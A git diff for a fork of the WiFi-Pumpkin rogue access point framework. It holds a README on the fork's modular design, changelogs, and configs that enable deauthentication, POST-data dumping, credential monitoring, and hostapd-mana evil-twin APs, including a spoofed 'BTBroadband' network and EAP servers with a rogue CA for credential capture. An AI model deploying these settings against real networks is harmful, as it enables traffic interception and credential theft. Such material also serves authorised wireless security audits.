diff --git a/.gitignore b/.gitignore index 2ee0f9a..a0768b3 100644 --- a/.gitignore +++ b/.gitignore @@ -1,13 +1,15 @@ +# Created by .ignore support plugin (hsz.mobi) +### Python template # Byte-compiled / optimized / DLL files __pycache__/ *.py[cod] -*.pyc +*$py.class +.idea # C extensions *.so # Distribution / packaging .Python -env/ build/ develop-eggs/ dist/ @@ -19,10 +21,14 @@ lib64/ parts/ sdist/ var/ +wheels/ *.egg-info/ .installed.cfg *.egg +======= +core/config/app/config.ini + # PyInstaller # Usually these files are written by a python script from a template # before PyInstaller builds the exe, so as to inject date/other infos into it. @@ -41,7 +47,8 @@ htmlcov/ .cache nosetests.xml coverage.xml -*,cover +*.cover +.hypothesis/ # Translations *.mo @@ -49,6 +56,14 @@ coverage.xml # Django stuff: *.log +local_settings.py + +# Flask stuff: +instance/ +.webassets-cache + +# Scrapy stuff: +.scrapy # Sphinx documentation docs/_build/ @@ -56,9 +71,102 @@ docs/_build/ # PyBuilder target/ -# DEB -deb_tmp/ +# Jupyter Notebook +.ipynb_checkpoints + +# pyenv +.python-version + +# celery beat schedule file +celerybeat-schedule + +# SageMath parsed files +*.sage.py + +# Environments +.env +.venv +env/ +venv/ +ENV/ + +# Spyder project settings +.spyderproject +.spyproject + +# Rope project settings +.ropeproject + +# mkdocs documentation +/site + +# mypy +.mypy_cache/ +### Linux template +*~ + +# temporary files which can be created if a process still has a handle open of a deleted file +.fuse_hidden* + +# KDE directory preferences +.directory + +# Linux trash folder which might appear on any partition or disk +.Trash-* + +# .nfs files are created when an open file is removed but is still being accessed +.nfs* +### JetBrains template +# Covers JetBrains IDEs: IntelliJ, RubyMine, PhpStorm, AppCode, PyCharm, CLion, Android Studio and Webstorm +# Reference: https://intellij-support.jetbrains.com/hc/en-us/articles/206544839 + +# User-specific stuff: +.idea/**/workspace.xml +.idea/**/tasks.xml +.idea/dictionaries + +# Sensitive or high-churn files: +.idea/**/dataSources/ +.idea/**/dataSources.ids +.idea/**/dataSources.xml +.idea/**/dataSources.local.xml +.idea/**/sqlDataSources.xml +.idea/**/dynamic.xml +.idea/**/uiDesigner.xml + +# Gradle: +.idea/**/gradle.xml +.idea/**/libraries + +# CMake +cmake-build-debug/ + +# Mongo Explorer plugin: +.idea/**/mongoSettings.xml + +## File-based project format: +*.iws + +## Plugin-specific files: + +# IntelliJ +out/ + +# mpeltonen/sbt-idea plugin +.idea_modules/ + +# JIRA plugin +atlassian-ide-plugin.xml + +# Cursive Clojure plugin +.idea/replstate.xml + +# Crashlytics plugin (for Android Studio and IntelliJ) +com_crashlytics_export_strings.xml +crashlytics.properties +crashlytics-build.properties +fabric.properties -# IDE -# PyCharm -.idea/ +.gitignore +templates/fakeupdate/Adobe_Update/ +logs/ diff --git a/README.md b/README.md index ec7d0a4..971176f 100644 --- a/README.md +++ b/README.md @@ -2,8 +2,22 @@ [![build](https://travis-ci.org/P0cL4bs/WiFi-Pumpkin.svg)](https://travis-ci.org/P0cL4bs/WiFi-Pumpkin/) -WiFi-Pumpkin - Framework for Rogue Wi-Fi Access Point Attack +WiFi-Pumpkin - Framework for Rogue Wi-Fi Access Point Attack with modularized proxy ### Description +This fork is an improved wifi pumpkin in term of the ease to add new proxy, plugins, and also page on the main page.but I can assure that the functionality is still the same, except you are introducing new proxy method and attack. there are so many cchange I have been made on this fork, naming some of those change made are: + +* Modularized and auto loaded proxy package, this has been a hard work segregating proxy into its own file. the proxy now can be added or removed just like plugin. it is located inside core/server/proxy/packages. user can create theier own proxy by following the existing example and focus on their new proxy without need to worry how it will be loaded into the program. + +* Modularized and autoloaded plugins which is located inside core/server/http_handler/proxyhandler +* Modularized the wireless mode, it is now easy to add new wireless mode (hostapd), this to facilitate the other type of hostapd available out there (karma, mana) mode. the mode implementation are located under core/wirelessmode +* The main tab (Home, Settings, Station, Activity Monitor) now segregated into its own file, if you want to add new tab, you will just need to subclass a base class which will load your new ui automatically. all this pages are located under core/widgets/defaults +* The setting tab it is now generated automatically, this done if you subclassing CoreSettings class, the CoreSettings class is located in core/default/uimodel.py . after you subclassing the CoreSettings then you can generate your own user interface and it will be loaded in the Settings page +* Same as Setting page, the home page will also now automatically generated if you make subclass of HomeDisplay class which is located inside core/default/uimodel.py +* Moved the progrress bar display to the status bar next to the client counter. +* Made an easy refference for the FSettings by calling FSettings.getInstance() +* The FSettings call now located on the QApplication method instead of WifiPumpkin method. +* More implementation is coming... + WiFi-Pumpkin is a very complete framework for auditing Wi-Fi security. The main feature is the ability to create a fake AP and make Man In The Middle attack, but the list of features is quite broad. ![screenshot](https://i.imgur.com/bNTOHLq.png) diff --git a/core/config/app/config.ini b/core/config/app/config.ini index d43c8c6..1d44371 100644 --- a/core/config/app/config.ini +++ b/core/config/app/config.ini @@ -1,7 +1,7 @@ [settings] themes=themes/themeDefault -scapy_deauth=true -mdk3_deauth=false +scapy_deauth=false +mdk3_deauth=true scan_scapy=true scan_airodump=false scanner_rangeIP=0-255 @@ -9,37 +9,59 @@ mdk3=a -a m -t redirect_port=10000 show_dashboard_info=true +[Mana] +Mana_hostapd_path=./plugins/bin/hostapd-mana/hostapd +enable_mana=true +mana_loud=false +mana_macl=false + +[Karma] +Karma_hostapd_path=./plugins/bin/hostapd-karma/hostapd + +[Static] +Static_hostapd_path=/usr/sbin/hostapd + [accesspoint] -hostapd_path=0 +hostapd_path=/usr/sbin/hostapd +Mana_path=plugins/external/hostapd hostapd_custom=false statusAP=false dhcpd_server=false pydhcp_server=true -pydns_server=true -dnsproxy_server=false +pydns_server=false +dnsproxy_server=true channel=11 -ssid=PumpAP -bssid=BC:F6:85:03:36:5B -interfaceAP=None +ssid=Internet +bssid=BC:F6:85:21:26:0B +interfaceAP=wlxc83a35cef744 sessions={} persistNetwokManager=true checkConnectionWifi=true check_support_ap_mode=true enable_Security=false WPA_SharedKey=1234567890 -WPA_Algorithms=TKIP +WPA_Algorithms=TKIP + CCMP WPA_type=2 timer_update_info=5000 +Karma%20SSID%20Mode=true +Static%20SSID%20Mode=false +Karma%20AP%20Mode=false +Static%20AP%20Mode=true +Static=true +Karma=false +Mana=false [dhcp] -classtype=A +classtype=B leasetimeDef=600 leasetimeMax=7200 -subnet=10.0.0.0 -router=10.0.0.1 -netmask=255.0.0.0 -broadcast=10.0.0.255 -range=10.0.0.20/10.0.0.50 +subnet=172.16.0.0 +router=172.16.0.1 +netmask=255.240.0.0 +broadcast=172.16.0.255 +range=172.16.0.100/172.16.0.150 +PyDHCP=false +ISCDHCP=true [Class-A-Address] leasetimeDef=600 @@ -79,8 +101,8 @@ range=10.0.0.20/10.0.0.50 [dockarea] advanced=true -dock_credencials=true -dock_urlmonitor=true +dock_credencials=false +dock_urlmonitor=false dock_bdfproxy=false dock_dns2proxy=false dock_responder=false @@ -88,15 +110,23 @@ dock_PumpkinProxy=false dock_tcpproxy=true [plugins] -noproxy=false -tcpproxy_plugin=true -dns2proxy_plugin=false -sergioproxy_plugin=false -bdfproxy_plugin=false -responder_plugin=false -pumpkinproxy_plugin=true +noproxy=true bdfproxy_config=plugins/external/BDFProxy-ng/bdfproxy.cfg responder_config=plugins/external/Responder/Responder.conf +MITMPump=true +tcpproxy_plugin=false +pumpkinproxy_plugin=false +sergioproxy_plugin=false +dns2proxy_plugin=false +bdfproxy_plugin=false +SSLStrip%2BDNS2Proxy=false +disableproxy=true +Mana%20Mode=false +SSLStrip%2BSergio=false +Pumpkin%20Proxy=true +BDF%20Proxy=false +No%20Proxy=false +TCP%20Proxy=true [iptables] iptables_0_masq=iptables -P FORWARD ACCEPT @@ -105,3 +135,28 @@ iptables_B_forward="iptables -A FORWARD -i $inet --out-interface $wlan -j ACCEPT iptables_C_foracept=iptables -A FORWARD -i $wlan --out-interface $inet -j ACCEPT iptables_D_accept=iptables -A OUTPUT --out-interface $inet -j ACCEPT iptables_E_accpet=iptables -A INPUT --in-interface $wlan -j ACCEPT + +[mitmhandler] +Responder=false +TCP%20Proxy=true +Net%20Credentials=false +Image%20Capture=false +URLMonitor=true +Firelamb=false +Credentials=true +CredMonitor=true + +[runningconfig] +totalthread=7 + +[dhcpserver] +PyDHCP=true +ISCDHCP=false +DNSMASQ=false + +[DNSServer] +PyDNS=false +DNS2Proxy=false +DNSChef=false +DNSMasq=true +DNSSpoof=false diff --git a/core/config/app/proxy.ini b/core/config/app/proxy.ini index 4738325..15ca447 100644 --- a/core/config/app/proxy.ini +++ b/core/config/app/proxy.ini @@ -6,13 +6,13 @@ stickycookie=false downloadspoof=false js_inject=false html_inject=false -dump_post_data=false +dump_post_data=true upsidedownternet=false beef=false -replaceImages=false -inverted_internet=false +replaceImages=true +inverted_internet=true shakepage=false -no-cache=false +no-cache=true [set_dnsspoof] domain_0={'another.com':'10.0.0.1'} diff --git a/core/config/commits/Lcommits.cfg b/core/config/commits/Lcommits.cfg index 0f0cd38..2e695d8 100644 --- a/core/config/commits/Lcommits.cfg +++ b/core/config/commits/Lcommits.cfg @@ -51,16 +51,6 @@ master: { changelog : 'fixed small bug with Table when add new users' }, { changelog : 'added new icon WiFi-Pumpkin' }, { changelog : 'fixed group all object PyQt4 [QtGui,QtCore]' }, - { changelog : 'fixed except when try import QtGui' }, - { changelog : 'fixed detect if range ip class is same the [DHCP Server] #285' }, - { changelog : 'fixed import QtGui thanks @Brain2000 #282' }, - { changelog : 'fixed redirect Traffic from all domain [dns spoof] #296' }, - { changelog : 'added run WP without mitmproxy packager #309' }, - { changelog : 'fixed cryptography kali 2017.3 thanks @yudevan #315' }, - { changelog : 'fixed import Queue module from multiprocessing #357' }, - { changelog : 'fixed bug module Queue #357' }, - { changelog : 'fixed renamed module Queue to queue [modules func]' }, - { changelog : 'fixed struct.error: argument for 's' must be a string [ARP poisoner] #326' }, ] WiFiPumpkin084: diff --git a/core/config/commits/Rcommits.cfg b/core/config/commits/Rcommits.cfg new file mode 100644 index 0000000..2e695d8 --- /dev/null +++ b/core/config/commits/Rcommits.cfg @@ -0,0 +1,171 @@ +master: +[ + { Version: '0.8.5'} + { changelog : 'added new plugin TCP-Proxy' }, + { changelog : 'added capture image HTTP request (Tab ImageCap)' }, + { changelog : 'added new HTTP-request widgets get info from Headers requests' }, + { changelog : 'added new columm (url) on HTTP-Authentication' }, + { changelog : 'added now WF allow to start without internet connection' }, + { changelog : 'added option that exclude USB card on start' }, + { changelog : 'added support to use 2 wireless cards #211' }, + { changelog : 'remove netcreds plugin thks for all DanMcInerney' }, + { changelog : 'added Python DNS Server improvements #165' }, + { changelog : 'added new style in progressbar on home' }, + { changelog : 'fixed possible bug when start AP with interface wlanx' }, + { changelog : 'fixed exit app when exclude USB adapter' }, + { changelog : 'fixed Network-ManagerUI again' }, + { changelog : 'fixed error: iptables Bad argument' }, + { changelog : 'added option for check network connection Tab->Settings' }, + { changelog : 'fixed error TCP-Proxy plugin imageCap #218' }, + { changelog : 'fixed possible error [Errno 2] No such file or directory #217' }, + { changelog : 'fixed replace bs4 to BeautifulSoup #228' }, + { changelog : 'fixed argument for 's' must be a string #232 thanks @okazymyrov' }, + { changelog : 'fixed IndexError: Layer [Raw] not found #234' }, + { changelog : 'added option for restore NM USB adpater after app closed #239' }, + { changelog : 'moved option settings -> Menu File' }, + { changelog : 'fixed hide error sslstrip exceptions.RuntimeError' }, + { changelog : 'fixed [Errno socket error] [Errno -2] Name or service not known #252' }, + { changelog : 'fixed control lock/unlock plugins tabs when changes options' }, + { changelog : 'fixed PhishingManager error when try shutdown httpd server' }, + { changelog : 'fixed Windows UpdateFake modules' }, + { changelog : 'fixed check return is NoneType from function get_interface_mac' }, + { changelog : 'fixed No such file or directory dhcpd.conf #266' }, + { changelog : 'fixed Wireless Deauth module scan network with airodump-ng' }, + { changelog : 'added plugin PumpkinProxy: disable browser caching, cache-control in HTML' }, + { changelog : 'added constants into a separate module [more modular design]' }, + { changelog : 'fixed pumpking-proxy all plugins inject page #272' }, + { changelog : 'fixed issue #273' }, + { changelog : 'fixed function get ipaddress by interface' }, + { changelog : 'added new colorQListWidget [hover, selection]' }, + { changelog : 'added new design Qtableview for default theme' }, + { changelog : 'added hostapd option BSSID configuration [Settings TAB]' }, + { changelog : 'added show security password type option [Settings TAB]' }, + { changelog : 'fixed dhcpserver exception try get hostname device #277' }, + { changelog : 'fixed set border just table home in default theme' }, + { changelog : 'added Qapplication: allow only one instance of WP to run' }, + { changelog : 'fixed dhcpd server error cant read file or directory' }, + { changelog : 'removed monitors views [dns2proxy,urlcreds,credentials]' }, + { changelog : 'added dashboard infor [uptime,threads,AP info] in tab home' }, + { changelog : 'added more code organization in file main.py' }, + { changelog : 'fixed bug not working as expected #279' }, + { changelog : 'fixed small bug with Table when add new users' }, + { changelog : 'added new icon WiFi-Pumpkin' }, + { changelog : 'fixed group all object PyQt4 [QtGui,QtCore]' }, +] + +WiFiPumpkin084: +[ + { Version: '0.8.4'} + { changelog : 'added new plugin Pumpkin-Proxy (mitmproxy API)' }, + { changelog : 'added new notifications for donations' }, + { changelog : 'fixed theme default QtableView Color hover' }, + { changelog : 'fixed logging name from jskeylogger plugin' }, + { changelog : 'fixed exclude from Network-manager by interface #149' }, + { changelog : 'added tables for logging plugins HTTP-request, PumpkinProxy, HTTP-auth' }, + { changelog : 'fixed set the application GUI style QStyleFactory #151' }, + { changelog : 'added enable/disable Wireless Security WPA Shared Key on Settings Tab' }, + { changelog : 'fixed responder is not starting #162' }, + { changelog : 'fixed class DNSServer resolver domain (DNS Response)' }, + { changelog : 'fixed no Internet Connection AP DNSServer #164' }, + { changelog : 'fixed enable Copy/edit row from HTTP-Requests Tables #167' }, + { changelog : 'fixed update Responder and fixed SSL server on port 443 #166' }, + { changelog : 'Added Key checking' }, + { changelog : 'Added WEP support' }, + { changelog : 'fixed update version mitmproxy 0.17 to 0.18.2 #195' }, + { changelog : 'fixed dnsspoof module to redirect with plugin disabled' }, + { changelog : 'fixed ARPspoof module get MAC address by interface' }, + { changelog : 'added support for update requeriments.txt when get news versions' }, +] + +WiFiPumpkin083: +[ + { Version: '0.8.3'} + { changelog : 'added new design main tool' }, + { changelog : 'added new column VendorMac in man Table' }, + { changelog : 'added set sorted in all Tablewidget' }, + { changelog : 'added new plugins options and description' }, + { changelog : 'added more options in statusbar main' }, + { changelog : 'fixed allow traffic to/from wlan (iptables)' }, + { changelog : 'added find file in directory cfg for check update' }, + { changelog : 'changed the all directory structure characters to lowercase' }, + { changelog : 'fixed No such file or directory [logs] #102' }, + { changelog : 'fixed Error nmcli exceptions.OSError #104' }, + { changelog : 'added error messages more explained ' }, + { changelog : 'added option to set Hostapd binary path (support hostapd-mana)' }, + { changelog : 'fixed improvements fuctions get_interfaces #109' }, + { changelog : 'added new plugin Responder (LLMNR, NBT-NS and MDNS poisoners)' }, + { changelog : ' fixed Redirect traffic from all domains in dnsspoof module' }, + { changelog : 'removed isc-dhcp-server(dhcpd) from dedependencies (optinal)' }, + { changelog : 'added check if interface wireless support AP/Mode' }, + { changelog : 'added python implements a DHCP Server by psychomario' }, + { changelog : 'fixed installer:install mitmproxy in ubuntu' }, + { changelog : 'added function: get possible errors from hostapd service' }, + { changelog : 'fixed get_file_cfg_Update: get update from github ' }, + { changelog : 'fixed DNSServer: closes itself with this error #116' }, + { changelog : 'fixed report.py: check if module QtWebKit is installed #120' }, + { changelog : 'fixed removed Tool->Ettercap' }, + { changelog : 'added function for kill processes are keeping the interface busy #137' }, +] + +WiFiPumpkin081: +[ + { Version: '0.8.1'} + { changelog : 're-design all GUI Menu->view' }, + { changelog : 'added new report logger GUI' }, + { changelog : 'added new sessions for Rogue AP loggers' }, + { changelog : 'added new plugin BDFProxy-ng' }, + { changelog : 'fixed error logger files hostapd, requests' }, + { changelog : 'added new theme Orange and set as default' }, + { changelog : 'fixed error when launch airodump-ng scan the wireless networks #75' }, + { changelog : 'fixed IndexError: list index out of range on BDFProxy get_output #77' }, + { changelog : 'added new re-design module Deauth Attack' }, + { changelog : 'added some improvements in module Probe Wireless Request #78' }, + { changelog : 'added option: exclude USB Wi-Fi Adapter in NetworkManager persistently #69' }, + { changelog : 'added Documenting Code, fixed get device hostname from dhcpd' }, + { changelog : 'removed pledgie campaign and added only PayPal' }, + { changelog : 'fixed setup_logger in module PhishingManager' }, + { changelog : 'fixed redirect all HTTP with DNSSpoof when AP is enabled' }, + { changelog : 'fixed PhishingManager SetEnv path not working with dnsspoof #90' }, +] + +WiFiPumpkin078: +[ + { Version: '0.7.8'} + { changelog : 'moved ProgressBar to StatusBar' }, + { changelog : 'fixed thread scanner IP in Modules::DNS,ARP spoof' }, + { changelog : 'changed plugins options to sslstrip/dns2proxy, sslstrip/sergio-proxy' }, + { changelog : 'added option run AP without Proxy' }, + { changelog : 'added donate options' }, + { changelog : 'added ThreadHTTPServerPhishing in Module::UpdateFake' }, + { changelog : 'fixed PhishingManager::ServerThreadHTTP errno 98 address already in use' }, + { changelog : 'fixed duplicate logging::setup_logger when run more than once' }, + { changelog : 'fixed Thread::sslstrip added Reactor.run() to Threads' }, + { changelog : 'fixed error when running ettercap and driftnet in menu::tools #67' }, + { changelog : 'fixed directory module in ThreadHTTPServerPhishing' }, + { changelog : 'fixed domain-name-servers in dhcpd server' }, + { changelog : 'fixed re-design Modules DNS spoof, Update Fake Attack' }, + { changelog : 'added new module DNS spoof with NetfilterQueue' }, + { changelog : 'added support Parrot 3.0.1 to use AP with wireless connection #69' }, +] + +WiFiPumpkinv075: +[ + { Version: '0.7.5'} + { changelog : 'fixed size QTableWidget on modules' }, + { changelog : 'fixed scanner fast ipaddress devices local' }, + { changelog : 'added new QSettings Core/modules::Configure' }, + { changelog : 'added mac address interface to exclude NetworkManager' }, + { changelog : 'added dockArea Monitor -> Pumpkin-Settings' }, + { changelog : 'added progressBar for starting Thread' }, + { changelog : 'added support to start AP with wireless connection' }, + { changelog : 'fixed Qwidgets which already has a layout, add Exception get_network_scan() #36' }, + { changelog : 'fixed error when executed from symlink file #50' }, + { changelog : 'fixed error: too many open files, added ulimit' }, + { changelog : 'added Tab Pump-Settings -> Class Ranges options' }, + { changelog : 'fixed Pump-Settings->Advanced Mode:: allow run after started AP' }, + { changelog : 'some improvements on module DnsSpoof,ArpPoison and Core::main closeEvent' }, + { changelog : 'fixed error on "Settings" option #58' }, + { changelog : 'added Qprocess into Threads::Process,fixed run plugin::dns2proxy' }, + { changelog : 'fixed error Advanced Mode::monitor crashed application #60' }, + { changelog : 'added QScrollArea on Settings::General, About::ThanksTo' }, +] diff --git a/core/config/globalimport/__init__.py b/core/config/globalimport/__init__.py new file mode 100644 index 0000000..8dc2f8b --- /dev/null +++ b/core/config/globalimport/__init__.py @@ -0,0 +1,48 @@ +import os +import sys +from pwd import getpwnam +from grp import getgrnam +from PyQt4 import Qt, QtGui, QtCore +from logging import getLogger,ERROR +from core.utility.settings import frm_Settings as SuperSettings +from core.utils import ( + Refactor,set_monitor_mode,waiterSleepThread, + setup_logger,is_ascii,is_hexadecimal,exec_bash,del_item_folder +) +import core.utility.constants as C +from collections import OrderedDict +from functools import partial +from core.utility.component import ComponentBlueprint +from netaddr import EUI + + +def deleteObject(obj): + ''' reclaim memory ''' + del obj +def ProgramPath(executablename): + expath = os.popen('which {}'.format(executablename)).read().split('\n')[0] + + if os.path.isfile(expath): + return expath + else: + return False + +def get_mac_vendor(mac): + ''' discovery mac vendor by mac address ''' + try: + d_vendor = EUI(mac) + d_vendor = d_vendor.oui.registration().org + except: + d_vendor = 'unknown mac' + return d_vendor + + + +__all__ = ["deleteObject","os","sys","Qt","QtGui","QtCore","SuperSettings","getLogger","ERROR", + "C","OrderedDict","partial","Refactor","set_monitor_mode","waiterSleepThread","setup_logger", + "is_ascii","is_hexadecimal","exec_bash","del_item_folder","ComponentBlueprint","getgrnam", + "getpwnam","ProgramPath","get_mac_vendor"] + +#root = QtCore.QCoreApplication.instance() +#Settings = root.Settings +#__all__.append["Settings"] \ No newline at end of file diff --git a/core/config/hostapd/hostapd+.conf b/core/config/hostapd/hostapd+.conf index b9cd52e..a9156fa 100644 --- a/core/config/hostapd/hostapd+.conf +++ b/core/config/hostapd/hostapd+.conf @@ -1,25 +1,40 @@ +#A full description of options is available in https://github.com/sensepost/hostapd-mana/blob/master/hostapd/hostapd.conf -# driver supports nl80211 +#interface=wlan0 +#bssid=00:11:22:33:44:00 driver=nl80211 +ssid=BTBroadband +channel=6 -# hostapd-mana support +# Prevent dissasociations +disassoc_low_ack=0 +ap_max_inactivity=3000 + +# Both open and shared auth +auth_algs=3 + +# no SSID cloaking +#ignore_broadcast_ssid=0 +# -1 = log all messages +logger_syslog=-1 +logger_stdout=-1 + +# 2 = informational messages +logger_syslog_level=2 +logger_stdout_level=2 + +ctrl_interface=/var/run/hostapd +ctrl_interface_group=0 + +# Finally, enable mana #enable_mana=1 -# Limit mana to responding only (0), or not (1) +# Limit mana to responding only to the device probing (0), or not (1) #mana_loud=0 # Extend MAC ACLs to probe frames #mana_macacl=0 # Put hostapd in white/black list mode #macaddr_acl=0 +# only used if you want to do filter by MAC address +#accept_mac_file=/etc/mana-toolkit/hostapd.accept +#deny_mac_file=/etc/mana-toolkit/hostapd.deny -### advanced settings -#ieee80211n=1 #Whether IEEE 802.11n (HT) is enabled -#hw_mode=g # (a = 5G, b = 2.4G, g = 2.4G, ag = db) -#ignore_broadcast_ssid=0 #AP will broadcast SSID -#macaddr_acl=0 #not use MAC address allow/deny list -#auth_algs=1 #Shared Key Authentication - -### hostapd event logger configuration -#logger_syslog=127 -#logger_syslog_level=2 -#logger_stdout=127 -#logger_stdout_level=2 \ No newline at end of file diff --git a/core/config/hostapd/hostapd+.conf.orig b/core/config/hostapd/hostapd+.conf.orig new file mode 100644 index 0000000..b9cd52e --- /dev/null +++ b/core/config/hostapd/hostapd+.conf.orig @@ -0,0 +1,25 @@ + +# driver supports nl80211 +driver=nl80211 + +# hostapd-mana support +#enable_mana=1 +# Limit mana to responding only (0), or not (1) +#mana_loud=0 +# Extend MAC ACLs to probe frames +#mana_macacl=0 +# Put hostapd in white/black list mode +#macaddr_acl=0 + +### advanced settings +#ieee80211n=1 #Whether IEEE 802.11n (HT) is enabled +#hw_mode=g # (a = 5G, b = 2.4G, g = 2.4G, ag = db) +#ignore_broadcast_ssid=0 #AP will broadcast SSID +#macaddr_acl=0 #not use MAC address allow/deny list +#auth_algs=1 #Shared Key Authentication + +### hostapd event logger configuration +#logger_syslog=127 +#logger_syslog_level=2 +#logger_stdout=127 +#logger_stdout_level=2 \ No newline at end of file diff --git a/core/config/hostapd/hostapd-mana-all.conf b/core/config/hostapd/hostapd-mana-all.conf new file mode 100644 index 0000000..0cba18f --- /dev/null +++ b/core/config/hostapd/hostapd-mana-all.conf @@ -0,0 +1,72 @@ +#A full description of options is available in https://github.com/sensepost/hostapd-mana/blob/master/hostapd/hostapd.conf + +interface=wlan0 +bssid=00:11:22:33:44:00 +driver=nl80211 +ssid=Internet +channel=6 + +auth_algs=3 +# no SSID cloaking +ignore_broadcast_ssid=0 +# Put hostapd in white/black list mode +macaddr_acl=0 +# only used if you want to do filter by MAC address +#accept_mac_file=/etc/mana-toolkit/hostapd.accept +#deny_mac_file=/etc/mana-toolkit/hostapd.deny + +bss=wlan1 +ssid=InternetSecure +ieee8021x=1 +eapol_key_index_workaround=0 +eap_server=1 +eap_user_file=/etc/mana-toolkit/hostapd.eap_user +ca_cert=/usr/share/mana-toolkit/cert/rogue-ca.pem +server_cert=/usr/share/mana-toolkit/cert/radius.pem +private_key=/usr/share/mana-toolkit/cert/radius.key +private_key_passwd= +dh_file=/usr/share/mana-toolkit/cert/dhparam.pem +pac_opaque_encr_key=000102030405060708090a0b0c0d0e0f +eap_fast_a_id=101112131415161718191a1b1c1d1e1f +eap_fast_a_id_info=test server +eap_fast_prov=3 +pac_key_lifetime=604800 +pac_key_refresh_time=86400 +wpa=2 +wpa_key_mgmt=WPA-EAP +wpa_pairwise=TKIP CCMP + +# Prevent dissasociations +disassoc_low_ack=0 +ap_max_inactivity=3000 + +# Both open and shared auth +auth_algs=3 + +# no SSID cloaking +ignore_broadcast_ssid=1 + +# -1 = log all messages +logger_syslog=-1 +logger_stdout=-1 + +# 2 = informational messages +logger_syslog_level=1 +logger_stdout_level=1 + +ctrl_interface=/var/run/hostapd +ctrl_interface_group=0 + +# Finally, enable mana +enable_mana=1 +# Limit mana to responding only to the device probing (0), or not (1) +mana_loud=0 +# Extend MAC ACLs to probe frames +mana_macacl=0 +# Put hostapd in white/black list mode +#macaddr_acl=0 +# only used if you want to do filter by MAC address +#accept_mac_file=/etc/mana-toolkit/hostapd.accept +#deny_mac_file=/etc/mana-toolkit/hostapd.deny + +ennode=/var/lib/mana-toolkit/ennode.node diff --git a/core/config/hostapd/hostapd-mana-eap.conf b/core/config/hostapd/hostapd-mana-eap.conf new file mode 100644 index 0000000..f7dabc7 --- /dev/null +++ b/core/config/hostapd/hostapd-mana-eap.conf @@ -0,0 +1,72 @@ +#A full description of options is available in https://github.com/sensepost/hostapd-mana/blob/master/hostapd/hostapd.conf + +interface=wlan0 +bssid=00:11:22:33:44:00 +driver=nl80211 +ssid=AlwaysOn +channel=6 + +auth_algs=3 +# no SSID cloaking +ignore_broadcast_ssid=0 +# Put hostapd in white/black list mode +macaddr_acl=0 +# only used if you want to do filter by MAC address +#accept_mac_file=/etc/mana-toolkit/hostapd.accept +#deny_mac_file=/etc/mana-toolkit/hostapd.deny + +bss=wlan0_0 +ssid=AlwaysOnSecure +ieee8021x=1 +eapol_key_index_workaround=0 +eap_server=1 +eap_user_file=/etc/mana-toolkit/hostapd.eap_user +ca_cert=/usr/share/mana-toolkit/cert/rogue-ca.pem +server_cert=/usr/share/mana-toolkit/cert/radius.pem +private_key=/usr/share/mana-toolkit/cert/radius.key +private_key_passwd= +dh_file=/usr/share/mana-toolkit/cert/dhparam.pem +pac_opaque_encr_key=000102030405060708090a0b0c0d0e0f +eap_fast_a_id=101112131415161718191a1b1c1d1e1f +eap_fast_a_id_info=test server +eap_fast_prov=3 +pac_key_lifetime=604800 +pac_key_refresh_time=86400 +wpa=1 +wpa_key_mgmt=WPA-EAP +wpa_pairwise=TKIP CCMP + +# Prevent dissasociations +disassoc_low_ack=0 +ap_max_inactivity=3000 + +# Both open and shared auth +auth_algs=3 + +# no SSID cloaking +ignore_broadcast_ssid=0 + +# -1 = log all messages +logger_syslog=-1 +logger_stdout=-1 + +# 2 = informational messages +logger_syslog_level=1 +logger_stdout_level=1 + +ctrl_interface=/var/run/hostapd +ctrl_interface_group=0 + +# Finally, enable mana +enable_mana=1 +# Limit mana to responding only to the device probing (0), or not (1) +mana_loud=0 +# Extend MAC ACLs to probe frames +mana_macacl=0 +# Put hostapd in white/black list mode +#macaddr_acl=0 +# only used if you want to do filter by MAC address +#accept_mac_file=/etc/mana-toolkit/hostapd.accept +#deny_mac_file=/etc/mana-toolkit/hostapd.deny + +ennode=/var/lib/mana-toolkit/ennode.node diff --git a/core/config/hostapd/hostapd-mana-eaponly.conf b/core/config/hostapd/hostapd-mana-eaponly.conf new file mode 100644 index 0000000..7960f54 --- /dev/null +++ b/core/config/hostapd/hostapd-mana-eaponly.conf @@ -0,0 +1,58 @@ +#A full description of options is available in https://github.com/sensepost/hostapd-mana/blob/master/hostapd/hostapd.conf + +interface=wlan0 +channel=6 +ssid=InternetSecure +ieee8021x=1 +eapol_key_index_workaround=0 +eap_server=1 +eap_user_file=/etc/mana-toolkit/hostapd.eap_user +ca_cert=/usr/share/mana-toolkit/cert/rogue-ca.pem +server_cert=/usr/share/mana-toolkit/cert/radius.pem +private_key=/usr/share/mana-toolkit/cert/radius.key +private_key_passwd= +dh_file=/usr/share/mana-toolkit/cert/dhparam.pem +pac_opaque_encr_key=000102030405060708090a0b0c0d0e0f +eap_fast_a_id=101112131415161718191a1b1c1d1e1f +eap_fast_a_id_info=test server +eap_fast_prov=3 +pac_key_lifetime=604800 +pac_key_refresh_time=86400 +wpa=1 +wpa_key_mgmt=WPA-EAP +wpa_pairwise=TKIP CCMP + +# Prevent dissasociations +disassoc_low_ack=0 +ap_max_inactivity=3000 + +# Both open and shared auth +auth_algs=3 + +# no SSID cloaking +ignore_broadcast_ssid=2 + +# -1 = log all messages +logger_syslog=-1 +logger_stdout=-1 + +# 2 = informational messages +logger_syslog_level=1 +logger_stdout_level=1 + +ctrl_interface=/var/run/hostapd +ctrl_interface_group=0 + +# Finally, enable mana +enable_mana=1 +# Limit mana to responding only to the device probing (0), or not (1) +mana_loud=0 +# Extend MAC ACLs to probe frames +mana_macacl=0 +# Put hostapd in white/black list mode +#macaddr_acl=0 +# only used if you want to do filter by MAC address +#accept_mac_file=/etc/mana-toolkit/hostapd.accept +#deny_mac_file=/etc/mana-toolkit/hostapd.deny + +ennode=/var/lib/mana-toolkit/ennode.node diff --git a/core/config/hostapd/hostapd-mana.conf b/core/config/hostapd/hostapd-mana.conf new file mode 100644 index 0000000..c8b4f38 --- /dev/null +++ b/core/config/hostapd/hostapd-mana.conf @@ -0,0 +1,40 @@ +#A full description of options is available in https://github.com/sensepost/hostapd-mana/blob/master/hostapd/hostapd.conf + +interface=wlan0 +bssid=00:11:22:33:44:00 +driver=nl80211 +ssid=BTBroadband +channel=6 + +# Prevent dissasociations +disassoc_low_ack=0 +ap_max_inactivity=3000 + +# Both open and shared auth +auth_algs=3 + +# no SSID cloaking +#ignore_broadcast_ssid=0 +# -1 = log all messages +logger_syslog=-1 +logger_stdout=-1 + +# 2 = informational messages +logger_syslog_level=2 +logger_stdout_level=2 + +ctrl_interface=/var/run/hostapd +ctrl_interface_group=0 + +# Finally, enable mana +enable_mana=1 +# Limit mana to responding only to the device probing (0), or not (1) +mana_loud=0 +# Extend MAC ACLs to probe frames +mana_macacl=0 